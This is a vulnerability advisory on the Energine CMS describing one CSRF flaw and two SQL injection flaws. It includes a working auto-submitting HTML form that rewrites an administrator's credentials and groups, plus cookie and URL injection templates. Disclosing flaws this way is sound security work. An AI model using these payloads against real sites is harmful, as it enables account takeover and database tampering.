Multiple Vulnerabilities in Energine

High-Tech Bridge SA Security Research Lab has discovered multiple vulnerabilities in Energine which could be exploited to perform cross-site request forgery and SQL injection attacks.

1) Cross-site request forgery (CSRF) in in Energine
The vulnerability exists due to insufficient validation of the request origin in core/modules/user/components/UserEditor.class.php. A remote attacker can create a specially crafted link, trick a logged-in administrator into following that link and change administrator`s credentials.
Exploitation example:
<form action="http://host/en/single/pageToolBar/user/save" method="post" name="main">
<input type="hidden" name="componentAction" value="edit">
<input type="hidden" name="user_users[u_id]" value="USERID">
<input type="hidden" name="user_users[u_name]" value="email@example.com">
<input type="hidden" name="user_users[u_password]" value="">
<input type="hidden" name="user_users[u_fullname]" value="Test">
<input type="hidden" name="user_users[u_avatar_prfile]" value="">
<input type="hidden" name="group_id[]" value="1">
<input type="hidden" name="group_id[]" value="4">
</form>
<script>
document.main.submit();
</script>

2) SQL injection vulnerabilities in Energine
2.1 An input validation error exists in the "NRGNSID" cookie parameter in index.php. A remote attacker can modify NRGNSID cookie and execute arbitrary SQL commands in application`s database. Successful exploitation may allow an attacker to read, modify, add or delete arbitrary data in database.
Exploitation example:
Cookie: NRGNSID='SQL_CODE_HERE
2.2 An input validation error exists in the "product" parameter in core/modules/shop/components/ProductList.class.php. A remote attacker can send a specially crafted request and execute arbitrary SQL commands in application`s database. Successful exploitation may allow an attacker to read, modify, add or delete arbitrary data in database.
Exploitation example:
http://host/shop/search-results/?product=%22+ANY_SQL